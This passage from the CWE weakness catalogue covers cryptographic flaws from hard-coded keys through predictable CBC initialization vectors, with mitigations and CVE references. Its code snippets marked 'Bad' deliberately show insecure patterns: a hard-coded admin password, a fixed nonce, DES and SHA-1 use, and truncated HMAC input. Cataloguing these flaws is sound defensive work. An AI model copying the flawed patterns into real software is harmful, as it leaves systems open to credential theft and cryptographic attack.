Example Language: Java *(Bad)*

```
public boolean VerifyAdmin(String password) {
  if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
    System.out.println("Entering Diagnostic Mode...");
    return true;
  }
  System.out.println("Incorrect Password!");
  return false;
```

Example Language: C# *(Bad)*

```
int VerifyAdmin(String password) {
   if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
      Console.WriteLine("Entering Diagnostic Mode...");
      return(1);
   }
   Console.WriteLine("Incorrect Password!");
   return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded keys for critical functionality in their OT products.

Observed Examples

Reference	Description
CVE-2022-29960	Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation *https://www.cve.org/CVERecord?id=CVE-2022-29960*
CVE-2022-30271	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used by default. *https://www.cve.org/CVERecord?id=CVE-2022-30271*
CVE-2020-10884	WiFi router service has a hard-coded encryption key, allowing root access *https://www.cve.org/CVERecord?id=CVE-2020-10884*
CVE-2014-2198	Communications / collaboration product has a hardcoded SSH private key, allowing access to root account *https://www.cve.org/CVERecord?id=CVE-2014-2198*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

CWE-322: Key Exchange without Entity Authentication

Weakness ID : 322
Structure : Simple
Abstraction : Base

Description

The product performs a key exchange with an actor without verifying the identity of that actor.

Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an attacker to impersonate an actor by modifying traffic between the two entities. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication

information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf	C	1211	Authentication Errors	2512
MemberOf	C	1214	Data Integrity Issues	2514
MemberOf	C	320	Key Management Errors	2356
MemberOf	C	417	Communication Channel Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path. Many people using SSL/TLS skip the authentication (often unknowingly).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID : 323
Structure : Simple
Abstraction : Base

Description

Nonces should be used for the present occasion and only once.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	857

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	320	Key Management Errors	2356

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.*	

Potential Mitigations

Phase: Implementation

Refuse to reuse nonce values.

Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

Demonstrative Examples

Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

Example Language: C *(Bad)*

```
void encryptAndSendPassword(char *password){
   char *nonce = "bad";
   ...
   char *data = (unsigned char*)malloc(20);
   int para_size = strlen(nonce) + strlen(password);
   char *paragraph = (char*)malloc(para_size);
   SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
   sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

Example Language: C++ *(Bad)*

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

CWE-324: Use of a Key Past its Expiration Date

Weakness ID : 324
Structure : Simple
Abstraction : Base

Description

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1491
PeerOf		298	Improper Validation of Certificate Expiration	733
PeerOf		262	Not Using Password Aging	641

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2352
MemberOf	C	310	Cryptographic Issues	2355
MemberOf	C	320	Key Management Errors	2356

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.*	

Potential Mitigations

Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

Demonstrative Examples

Example 1:

The following code attempts to verify that a certificate is valid.

Example Language: C *(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
   foo=SSL_get_verify_result(ssl);
   if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
      //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

Observed Examples

Reference	Description
CVE-2021-33020	Picture Archiving and Communication System (PACS) system for hospitals uses a cryptographic key or password past its expiration date *https://www.cve.org/CVERecord?id=CVE-2021-33020*

CWE-325: Missing Cryptographic Step

Weakness ID : 325
Structure : Simple
Abstraction : Base

Description

The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	573	Improper Following of Specification by Caller	1309
PeerOf	B	358	Improperly Implemented Security Check for Standard	889

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	2355

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Confidentiality Integrity	Read Application Data Modify Application Data	
Accountability Non-Repudiation	Hide Activities	

Demonstrative Examples

Example 1:

The example code is taken from the HMAC engine inside the buggy OpenPiton SoC of HACK@DAC'21 [REF-1358]. HAMC is a message authentication code (MAC) that uses both a hash and a secret crypto key. The HMAC engine in HACK@DAC SoC uses the SHA-256 module for the calculation of the HMAC for 512 bits messages.

Example Language: Verilog *(Bad)*

```
logic [511:0] bigData;
...
hmac hmac(
   .clk_i(clk_i),
   .rst_ni(rst_ni && ~rst_4),
   .init_i(startHash && ~startHash_r),
   .key_i(key),
   .ikey_hash_i(ikey_hash),
   .okey_hash_i(okey_hash),
   .key_hash_bypass_i(key_hash_bypass),
   .message_i(bigData),
   .hash_o(hash),
   .ready_o(ready),
   .hash_valid_o(hashValid)
```

However, this HMAC engine cannot handle messages that are longer than 512 bits. Moreover, a complete HMAC will contain an iterate hash function that breaks up a message into blocks of a fixed size and iterates over them with a compression function (e.g., SHA-256). Therefore, the implementation of the HMAC in OpenPiton SoC is incomplete. Such HMAC engines will not be used in real-world applications as the messages will usually be longer than 512 bits. For instance, OpenTitan offers a comprehensive HMAC implementation that utilizes a FIFO for temporarily storing the truncated message, as detailed in [REF-1359].

To mitigate this, implement the iterative function to break up a message into blocks of a fixed size.

Observed Examples

Reference	Description
CVE-2001-1585	Missing challenge-response step allows authentication bypass using public key. *https://www.cve.org/CVERecord?id=CVE-2001-1585*

CWE-326: Inadequate Encryption Strength

Weakness ID : 326
Structure : Simple
Abstraction : Class

Description

The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1532
ParentOf	B	328	Use of Weak Hash	814

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Bypass Protection Mechanism Read Application Data *An attacker may be able to decrypt the data using brute force attacks.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.

Observed Examples

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID : 327
Structure : Simple
Abstraction : Class

Description

The product uses a broken or risky cryptographic algorithm or protocol.

Extended Description

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.

It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1532
ParentOf	B	328	Use of Weak Hash	814
ParentOf	V	780	Use of RSA Algorithm without OAEP	1656
ParentOf	B	1240	Use of a Cryptographic Primitive with a Risky Implementation	2042
PeerOf	C	311	Missing Encryption of Sensitive Data	764
PeerOf	B	301	Reflection Attack in an Authentication Protocol	740
CanFollow	B	208	Observable Timing Discrepancy	537

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	1827

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.*	
Integrity	Modify Application Data *The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.*	
Accountability Non-Repudiation	Hide Activities *If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.*	

Detection Methods

Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

Effectiveness = Moderate

False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool Cost effective for partial coverage: Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification [REF-1192]. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a

billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.

Effectiveness = Defense in Depth

Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

These code examples use the Data Encryption Standard (DES).

Example Language: C *(Bad)*

```
EVP_des_ecb();
```

Example Language: Java *(Bad)*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

Example Language: PHP *(Bad)*

```
function encryptPassword($password){
   $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
   $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
   $key = "This is a password encryption key";
   $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
   return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Example 2:

Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.

Example Language: Other *(Bad)*

The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.

However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.

This issue could have been avoided with better design.

Example Language: Other *(Good)*

The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.

Example 3:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak cryptography.

Observed Examples

Reference	Description
CVE-2022-30273	SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity *https://www.cve.org/CVERecord?id=CVE-2022-30273*
CVE-2022-30320	Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords. *https://www.cve.org/CVERecord?id=CVE-2022-30320*
CVE-2008-3775	Product uses "ROT-25" to obfuscate the password in the registry. *https://www.cve.org/CVERecord?id=CVE-2008-3775*
CVE-2007-4150	product only uses "XOR" to obfuscate sensitive data *https://www.cve.org/CVERecord?id=CVE-2007-4150*
CVE-2007-5460	product only uses "XOR" and a fixed key to obfuscate sensitive data *https://www.cve.org/CVERecord?id=CVE-2007-5460*
CVE-2005-4860	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged. *https://www.cve.org/CVERecord?id=CVE-2005-4860*
CVE-2002-2058	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'. *https://www.cve.org/CVERecord?id=CVE-2002-2058*
CVE-2008-3188	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes. *https://www.cve.org/CVERecord?id=CVE-2008-3188*

Reference	Description
CVE-2005-2946	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates. *https://www.cve.org/CVERecord?id=CVE-2005-2946*
CVE-2007-6013	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash. *https://www.cve.org/CVERecord?id=CVE-2007-6013*

Notes

Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

CWE-328: Use of Weak Hash

Weakness ID : 328
Structure : Simple
Abstraction : Base

Description

The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).

Extended Description

A hash function is defined as an algorithm that maps arbitrarily sized data into a fixed-sized digest (output) such that the following properties hold:

1. The algorithm is not invertible (also called "one-way" or "not reversible")
2. The algorithm is deterministic; the same input produces the same digest every time

Building on this definition, a cryptographic hash function must also ensure that a malicious actor cannot leverage the hash function to have a reasonable chance of success at determining any of the following:

1. the original input (preimage attack), given only the digest
2. another input that can produce the same digest (2nd preimage attack), given the original input
3. a set of two or more inputs that evaluate to the same digest (birthday attack), given the actor can arbitrarily choose the inputs to be hashed and can do so a reasonable amount of times

What is regarded as "reasonable" varies by context and threat model, but in general, "reasonable" could cover any attack that is more efficient than brute force (i.e., on average, attempting half of all possible combinations). Note that some attacks might be more efficient than brute force but are still not regarded as achievable in the real world.

Any algorithm that does not meet the above conditions will generally be considered weak for general use in hashing.

In addition to algorithmic weaknesses, a hash function can be made weak by using the hash in a security context that breaks its security guarantees. For example, using a hash function without a salt for storing passwords (that are sufficiently short) could enable an adversary to create a "rainbow table" [REF-637] to recover the password under certain conditions; this attack works against such hash functions as MD5, SHA-1, and SHA-2.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks.

However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(Bad)*

```
unsigned char *check_passwd(char *plaintext) {
   ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
   //Login if hash matches stored hash
   if (equal(ctext, secret_password())) {
      login_user();
   }
}
```

Example Language: Java *(Bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
   login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product used weak hashes.

Example 3:

The example code below is taken from the JTAG access control mechanism of the Hack@DAC'21 buggy OpenPiton SoC [REF-1360]. Access to JTAG allows users to access sensitive information in the system. Hence, access to JTAG is controlled using cryptographic authentication of the users. In this example (see the vulnerable code source), the password checker uses HMAC-SHA256 for authentication. It takes a 512-bit secret message from the user, hashes it using HMAC, and compares its output with the expected output to determine the authenticity of the user.

Example Language: Verilog *(Bad)*

```
...
logic [31:0] data_d, data_q
logic [512-1:0] pass_data;
...
   Write: begin
      ...
         if (pass_mode) begin
```

```
            pass_data = { {60{8'h00}}, data_d};
            state_d = PassChk;
            pass_mode = 1'b0;
          ...
    end
...
```

The vulnerable code shows an incorrect implementation of the HMAC authentication where it only uses the least significant 32 bits of the secret message for the authentication (the remaining 480 bits are hard coded as zeros). As a result, the system is susceptible to brute-force attacks where the attacker only needs to determine 32 bits of the secret message instead of 512 bits, weakening the cryptographic protocol.

To mitigate, remove the zero padding and use all 512 bits of the secret message for HMAC authentication [REF-1361].

Example Language: Verilog *(Good)*

```
...
logic [512-1:0] data_d, data_q
logic [512-1:0] pass_data;
...
    Write: begin
        ...
          if (pass_mode) begin
            pass_data = data_d;
            state_d = PassChk;
            pass_mode = 1'b0;
          ...
    end
...
```

Observed Examples

CWE-329: Generation of Predictable IV with CBC Mode

Weakness ID : 329
Structure : Simple
Abstraction : Variant

Description

The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.

Extended Description

CBC mode eliminates a weakness of Electronic Code Book (ECB) mode by allowing identical plaintext blocks to be encrypted to different ciphertext blocks. This is possible by the XOR-ing of an IV with the initial plaintext block so that every plaintext block in the chain is XOR'd with a different value before encryption. If IVs are reused, then identical plaintexts would be encrypted to identical ciphertexts. However, even if IVs are not identical but are predictable, then they still break the security of CBC mode against Chosen Plaintext Attacks (CPA).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1309
